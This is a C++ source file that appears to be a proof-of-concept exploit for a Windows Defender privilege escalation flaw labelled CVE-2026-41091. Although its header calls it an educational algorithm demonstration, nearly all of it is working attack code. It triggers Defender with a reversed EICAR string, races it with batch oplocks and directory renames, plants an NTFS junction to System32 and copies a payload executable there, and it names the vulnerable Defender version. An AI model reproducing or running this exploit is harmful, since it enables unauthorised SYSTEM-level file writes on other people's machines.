/*
 * CVE-2026-41091 Basic PoC - Simplified Algorithm Demonstration (USE full_poc.cpp)
 * 
 * This is a BASIC educational PoC that demonstrates the exploitation algorithm.
 * This is NOT the full working exploit.
 * 
 * For the complete working exploit with all features, use full_poc.cpp which includes:
 * - Cloud Files API (CfAPI) integration
 * - Cloud placeholder creation
 * - COM service activation (Storage Tiers Management)
 * - Complete SYSTEM privilege escalation chain
 * 
 * This basic version only shows the core algorithm:
 * 1. Trigger Defender with EICAR
 * 2. Wait for VSS snapshot
 * 3. Create batch oplocks
 * 4. Rename directories
 * 5. Create NTFS junction to System32
 * 6. Copy payload to System32
 * Created by @tc4dy
 */

#include <windows.h>
#include <winioctl.h>
#include <iostream>
#include <string>
#include <filesystem>
#include <thread>
#include <chrono>
#include <random>

namespace fs = std::filesystem;

#pragma comment(lib, "ntdll.lib")

const char EICAR_REVERSED[] = "*H+H$!ELIF-TSET-NAIDRA-DNATSRACIRE$}7)CC7)^)45PZXZP\\[4PA@P%!O5X";

class BasicExploit {
private:
    std::wstring tempDir;
    std::wstring payloadPath;
    std::wstring systemTarget;
    HANDLE hOplock1;
    HANDLE hOplock2;

    bool WaitForVssSnapshot() {
        std::wcout << L"[*] Waiting for VSS activity..." << std::endl;
        
        HANDLE hDir;
        UNICODE_STRING dirName;
        OBJECT_ATTRIBUTES objAttr;
        
        RtlInitUnicodeString(&dirName, L"\\Device");
        InitializeObjectAttributes(&objAttr, &dirName, OBJ_CASE_INSENSITIVE, NULL, NULL);
        
        typedef NTSTATUS (NTAPI *pNtOpenDirectoryObject)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES);
        typedef NTSTATUS (NTAPI *pNtQueryDirectoryObject)(HANDLE, PVOID, ULONG, BOOLEAN, BOOLEAN, PULONG, PULONG);
        
        auto NtOpenDirectoryObject = (pNtOpenDirectoryObject)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtOpenDirectoryObject");
        auto NtQueryDirectoryObject = (pNtQueryDirectoryObject)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQueryDirectoryObject");
        
        if (!NtOpenDirectoryObject || !NtQueryDirectoryObject) return false;
        
        if (NtOpenDirectoryObject(&hDir, 0x0003, &objAttr) != 0) return false;

        for (int i = 0; i < 30; i++) {
            BYTE buffer[4096];
            ULONG context = 0;
            ULONG returnLength = 0;
            
            while (true) {
                ULONG queryLength = 0;
                NTSTATUS status = NtQueryDirectoryObject(hDir, buffer, sizeof(buffer), FALSE, TRUE, &context, &queryLength);
                if (status == 0x80000005 || status != 0) break;
                
                if (wcsstr((wchar_t*)(buffer + 8), L"HarddiskVolumeShadowCopy")) {
                    NtClose(hDir);
                    return true;
                }
            }
            Sleep(1000);
        }
        
        NtClose(hDir);
        return false;
    }

    bool CreateOplock(const std::wstring& path, HANDLE& hOplock) {
        HANDLE hFile = CreateFileW(path.c_str(), 
            GENERIC_READ | FILE_READ_ATTRIBUTES,
            FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
            NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL);
        
        if (hFile == INVALID_HANDLE_VALUE) return false;

        OVERLAPPED ov = {0};
        ov.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
        if (!ov.hEvent) {
            CloseHandle(hFile);
            return false;
        }

        DWORD bytesReturned;
        DeviceIoControl(hFile, FSCTL_REQUEST_BATCH_OPLOCK, NULL, 0, NULL, 0, &bytesReturned, &ov);
        
        if (GetLastError() != ERROR_IO_PENDING) {
            CloseHandle(ov.hEvent);
            CloseHandle(hFile);
            return false;
        }

        hOplock = hFile;
        return true;
    }

    bool WaitForOplock(HANDLE hOplock) {
        OVERLAPPED ov = {0};
        ov.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
        if (!ov.hEvent) return false;
        
        DWORD bytesReturned;
        BOOL result = GetOverlappedResult(hOplock, &ov, &bytesReturned, TRUE);
        CloseHandle(ov.hEvent);
        return result;
    }

    bool CreateJunction(const std::wstring& junctionPath, const std::wstring& targetPath) {
        HANDLE hDir = CreateFileW(junctionPath.c_str(), GENERIC_WRITE, 0, NULL,
            CREATE_ALWAYS, FILE_FLAG_OPEN_REPARSE_POINT | FILE_FLAG_BACKUP_SEMANTICS, NULL);
        
        if (hDir == INVALID_HANDLE_VALUE) return false;

        BYTE buffer[MAXIMUM_REPARSE_DATA_BUFFER_SIZE];
        PREPARSE_DATA_BUFFER reparse = (PREPARSE_DATA_BUFFER)buffer;
        reparse->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
        reparse->Reserved = 0;

        std::wstring fullTarget = L"\\??\\" + targetPath;
        size_t targetLen = fullTarget.length() * sizeof(WCHAR);
        size_t printNameLen = targetPath.length() * sizeof(WCHAR);

        reparse->ReparseDataLength = (WORD)(targetLen + printNameLen + 16);

        BYTE* data = buffer + REPARSE_DATA_BUFFER_HEADER_SIZE;
        *(WORD*)data = (WORD)targetLen;
        data += 2;
        memcpy(data, fullTarget.c_str(), targetLen);
        data += targetLen;
        *(WORD*)data = (WORD)printNameLen;
        data += 2;
        memcpy(data, targetPath.c_str(), printNameLen);

        DWORD bytesReturned;
        BOOL result = DeviceIoControl(hDir, FSCTL_SET_REPARSE_POINT, buffer,
            (DWORD)(REPARSE_DATA_BUFFER_HEADER_SIZE + reparse->ReparseDataLength),
            NULL, 0, &bytesReturned, NULL);

        CloseHandle(hDir);
        return result;
    }

    bool TriggerDefender(const std::wstring& path) {
        HANDLE hFile = CreateFileW(path.c_str(), GENERIC_WRITE, 0, NULL,
            CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
        
        if (hFile == INVALID_HANDLE_VALUE) return false;

        DWORD written;
        WriteFile(hFile, EICAR_REVERSED, (DWORD)strlen(EICAR_REVERSED), &written, NULL);
        CloseHandle(hFile);

        HANDLE hExec = CreateFileW(path.c_str(), GENERIC_READ | FILE_EXECUTE,
            FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
        
        if (hExec == INVALID_HANDLE_VALUE) return false;
        CloseHandle(hExec);

        return true;
    }

    bool CopyToSystem(const std::wstring& source, const std::wstring& dest) {
        return CopyFileW(source.c_str(), dest.c_str(), FALSE);
    }

public:
    BasicExploit() : hOplock1(NULL), hOplock2(NULL) {
        std::random_device rd;
        std::mt19937 gen(rd());
        std::uniform_int_distribution<> dis(1000, 9999);
        
        std::wstring randomId = L"BE-" + std::to_wstring(dis(gen));
        tempDir = fs::temp_directory_path().wstring() + L"\\" + randomId + L"\\";
        payloadPath = tempDir + L"Payload.exe";
        systemTarget = L"C:\\Windows\\System32\\Payload.exe";
    }

    bool Execute() {
        std::wcout << L"\n========================================" << std::endl;
        std::wcout << L"  CVE-2026-41091 Basic PoC" << std::endl;
        std::wcout << L"  Algorithm Demonstration Only" << std::endl;
        std::wcout << L"========================================" << std::endl;
        std::wcout << L"[*] Starting exploit algorithm..." << std::endl;

        std::wcout << L"[*] Creating working directory..." << std::endl;
        if (!fs::create_directories(tempDir)) {
            std::wcerr << L"[-] Failed to create directory" << std::endl;
            return false;
        }
        std::wcout << L"[+] Directory created: " << tempDir << std::endl;

        std::wcout << L"[*] Triggering Defender with EICAR..." << std::endl;
        if (!TriggerDefender(payloadPath)) {
            std::wcerr << L"[-] Failed to trigger Defender" << std::endl;
            return false;
        }
        std::wcout << L"[+] Defender triggered" << std::endl;

        std::wcout << L"[*] Waiting for VSS snapshot..." << std::endl;
        if (!WaitForVssSnapshot()) {
            std::wcout << L"[!] VSS not detected, continuing anyway..." << std::endl;
        } else {
            std::wcout << L"[+] VSS detected" << std::endl;
        }

        std::wcout << L"[*] Creating first oplock..." << std::endl;
        if (!CreateOplock(payloadPath, hOplock1)) {
            std::wcerr << L"[-] Failed to create first oplock" << std::endl;
            return false;
        }
        std::wcout << L"[+] First oplock created" << std::endl;

        std::wcout << L"[*] Waiting for oplock break..." << std::endl;
        if (!WaitForOplock(hOplock1)) {
            std::wcerr << L"[-] Failed to get oplock" << std::endl;
            return false;
        }
        std::wcout << L"[+] Oplock acquired" << std::endl;

        std::wcout << L"[*] Renaming directory..." << std::endl;
        fs::path movedPath = tempDir + L".tmp";
        try {
            if (fs::exists(movedPath)) fs::remove_all(movedPath);
            fs::rename(tempDir, movedPath);
            fs::create_directories(tempDir);
        } catch (...) {
            std::wcerr << L"[-] Failed to rename directory" << std::endl;
            return false;
        }
        std::wcout << L"[+] Directory renamed" << std::endl;

        std::wcout << L"[*] Creating second oplock..." << std::endl;
        if (!CreateOplock(payloadPath, hOplock2)) {
            std::wcerr << L"[-] Failed to create second oplock" << std::endl;
            return false;
        }
        std::wcout << L"[+] Second oplock created" << std::endl;

        std::wcout << L"[*] Waiting for second oplock..." << std::endl;
        if (!WaitForOplock(hOplock2)) {
            std::wcerr << L"[-] Failed to get second oplock" << std::endl;
            return false;
        }
        std::wcout << L"[+] Second oplock acquired" << std::endl;

        std::wcout << L"[*] Creating NTFS junction to System32..." << std::endl;
        if (!CreateJunction(tempDir, L"C:\\Windows\\System32")) {
            std::wcerr << L"[-] Failed to create junction" << std::endl;
            return false;
        }
        std::wcout << L"[+] Junction created" << std::endl;

        CloseHandle(hOplock1);
        CloseHandle(hOplock2);
        hOplock1 = NULL;
        hOplock2 = NULL;

        std::wcout << L"[*] Waiting for Defender to finish..." << std::endl;
        Sleep(3000);

        std::wcout << L"[*] Copying payload to System32..." << std::endl;
        if (!CopyToSystem(payloadPath, systemTarget)) {
            std::wcerr << L"[-] Failed to copy payload" << std::endl;
            return false;
        }
        std::wcout << L"[+] Payload copied to " << systemTarget << std::endl;

        std::wcout << L"\n[+] Algorithm demonstration completed!" << std::endl;
        std::wcout << L"[i] This is only the basic algorithm." << std::endl;
        std::wcout << L"[i] For full SYSTEM privilege escalation," << std::endl;
        std::wcout << L"[i] use full_poc.cpp with Cloud API and COM activation." << std::endl;
        
        return true;
    }

    ~BasicExploit() {
        if (hOplock1) CloseHandle(hOplock1);
        if (hOplock2) CloseHandle(hOplock2);
        
        try {
            if (fs::exists(tempDir)) fs::remove_all(tempDir);
        } catch (...) {}
    }
};

int main() {
    SetConsoleOutputCP(CP_UTF8);
    
    BasicExploit exploit;
    
    if (exploit.Execute()) {
        std::wcout << L"\n[+] Press any key to exit..." << std::endl;
        std::cin.get();
        return 0;
    }
    
    std::wcerr << L"\n[-] Exploit failed!" << std::endl;
    std::wcerr << L"[!] Make sure you're running on an unpatched system" << std::endl;
    std::wcerr << L"[!] Defender version must be <= 1.1.26030.3008" << std::endl;
    
    std::cin.get();
    return 1;
}